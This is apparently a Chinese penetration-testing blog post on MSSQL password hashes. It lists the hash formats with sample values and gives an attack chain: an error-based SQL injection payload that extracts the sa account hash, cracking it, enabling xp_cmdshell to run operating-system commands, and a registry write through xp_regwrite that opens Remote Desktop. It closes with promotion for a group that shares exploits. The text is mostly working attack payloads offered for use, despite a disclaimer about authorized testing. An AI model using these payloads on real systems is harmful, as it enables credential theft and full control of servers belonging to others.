免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
MSSQL使用自制的密码哈希算法对用户密码进行哈希,在内网渗透中,大多数服务口令都是一样的,收集MSSQL数据库的用户和密码可能会有用。
select name,password from master.dbo.sysxlogins Hash格式:
0x0100(固定) + 8位key+40位HASH1 +40位HASH2
0x0100AC78A243F2E61FA800A7231C501D49CDA5B93A8A2294DC68AE487C99233F245F86A9ED5749F1838021EE1610
select name,password_hash from sys.sql_loginsHash格式:
0x0100(固定) +8位key+ 20位HASH1 + 20位HASH2
0x01004086CEB698DB9D0295DBF84F496FDDCECADE1AE5875EB294
Select name,password_hash from sys.sql_logins where name = 'sa'Hash格式:
0x0100(固定) +8位key+ 20位HASH1 + 20位HASH2
0x0100A9A79055CACB976F1BE9405D2F7BE7B2A98003007978F821
select name,password_hash from sys.sql_logins0x02009B23262ECB00E289977FA1209081C623020F2D28E23B5C615AC7BA8C0F25FEE638DC2E4DEAF023350C1E31199364879A94D65FC79F10BB577D6CB86A8C7148928DC8AFFB
select name,password_hash from sys.sql_logins 0x02002F8E6FBBE1B6A9961A7E397FDD3A26F795DF806A066940B26323BE89F3450064C8657C75E2A3729E8318BBE91692335F4D2F5633BADEF7A25EC8AC003E9C4DB342312505
(1) 通过报错注入获取sa账户的哈希密码
?Keyword=1111%' AND (Select master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa')=1 AND '%'='
(2)解密获取sa明文密码
(3)在内网或数据库端口开放的情况下,可直接连入数据库执行系统命令,获取服务器控制权限。
# 开启xp_cmdshell存储过程
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 利用xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell '
# SQL语句开启远程
Exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf